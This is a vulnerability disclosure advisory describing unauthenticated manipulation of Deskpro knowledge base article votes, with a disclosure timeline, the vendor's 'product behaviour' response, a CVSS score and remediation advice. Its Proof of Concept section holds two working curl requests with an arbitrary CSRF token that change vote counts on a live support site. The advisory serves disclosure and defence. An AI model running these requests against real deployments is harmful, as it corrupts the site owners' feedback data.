Deskpro Knowledge Base Voting Manipulation

CVE-2026-XXXXX - Unauthenticated vote manipulation vulnerability in Deskpro knowledgebase

Paul Hutchinson

Table of content
  1. Summary
  2. Product Information
  3. Vulnerability Details
  4. Technical Description
  5. Proof of Concept
  6. Video Demonstration
  7. Impact Assessment
  8. Business Impact
  9. CVSS v4.0 Score
  10. Disclosure Timeline
  11. Vendor Response
  12. Recommended Remediation
  13. Vendor-Side Fixes (Recommended)
  14. User-Side Mitigations
  15. CVE Information
  16. References
  17. Credits
  18. Responsible Disclosure

Summary

The Deskpro knowledge base voting system allows unauthenticated manipulation of article votes due to missing request validation, authentication requirements, and rate limiting. This enables any party to artificially inflate or reduce article vote counts, compromising data integrity and feedback metrics across all exposed Deskpro instances.

Product Information

Vulnerability Details

Technical Description

The voting mechanism for knowledge base articles lacks fundamental security controls. The vote-up and vote-down endpoints accept unauthenticated POST requests without:

This allows unlimited, automated manipulation of vote counts from any source.

Proof of Concept

The following requests can be executed repeatedly without restriction:

## _dp_csrf_token can be any value.
curl 'https://support.deskpro.com/en-US/kb/articles/overview-of-ticketing-interface/vote-down' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -b '_dp_csrf_token=h2isn2f21hj2ugrqfv5k;' \
  --data-raw '_dp_csrf_token=h2isn2f21hj2ugrqfv5k'

curl 'https://support.deskpro.com/en-US/kb/articles/overview-of-ticketing-interface/vote-up' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -b '_dp_csrf_token=h2isn2f21hj2ugrqfv5k;' \
  --data-raw '_dp_csrf_token=h2isn2f21hj2ugrqfv5k'

Each invocation immediately affects the stored vote count with no validation or throttling.

Video Demonstration

Impact Assessment

Business Impact

CVSS v4.0 Score

Score: 4.3 (MEDIUM)

Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

This represents a data integrity vulnerability rather than direct security access or data exposure.

Disclosure Timeline

Date Event
6 March 2026 Initial vulnerability report submitted to Deskpro Security Team
10 March 2026 Vendor response received - classified as product behaviour, not a security issue
10 March 2026 Follow-up sent noting intent to request CVE for transparency and tracking
16 March 2026 CVE request submitted to MITRE CNA of Last Resort
16 June 2026 Public disclosure

Vendor Response

Deskpro's security team reviewed the report and responded that the knowledge base voting functionality is intentionally available to unauthenticated users to enable quick visitor feedback. They classified this as product behaviour rather than a security vulnerability.

The vendor indicated they would pass feedback to the relevant team for consideration of future improvements, such as additional abuse protections.

Despite the vendor's position, we proceeded with a CVE request to ensure transparent tracking across installations, as the absence of validation controls represents a data integrity issue that could have reputational and operational impact on public deployments.

Vendor did not provide additional response or vendor statement after follow-up.

Organizations using Deskpro with public knowledge bases should consider the following mitigations:

  1. Implement authentication requirement - Tie voting actions to authenticated user sessions
  2. Server-side rate limiting - Apply per-user or per-IP throttling (e.g., 5 votes per hour)
  3. CSRF protection - Add token validation to voting endpoints
  4. CAPTCHA integration - Prevent automated abuse with human verification
  5. IP fingerprinting - Track and limit votes from single sources
  6. Cookie-based vote tracking - Use persistent identifiers to prevent duplicate votes

User-Side Mitigations

Until vendor fixes are available:

CVE Information

References

Credits

Responsible Disclosure

This vulnerability was responsibly disclosed to the vendor in accordance with coordinated disclosure practices. The vendor was offered a 90‑day window to investigate, remediate, and provide a statement for coordinated disclosure.

Following their review, the vendor classified the issue as "product as designed" and did not consider it a security vulnerability. As no remediation was planned, public disclosure proceeded after notifying the vendor and submitting a CVE request for transparency and tracking purposes.

This research was conducted as part of Lexiphanic Ltd's ongoing security research program. If you have questions about this disclosure or would like to report a security issue, please contact paul@lexiphanic.co.uk.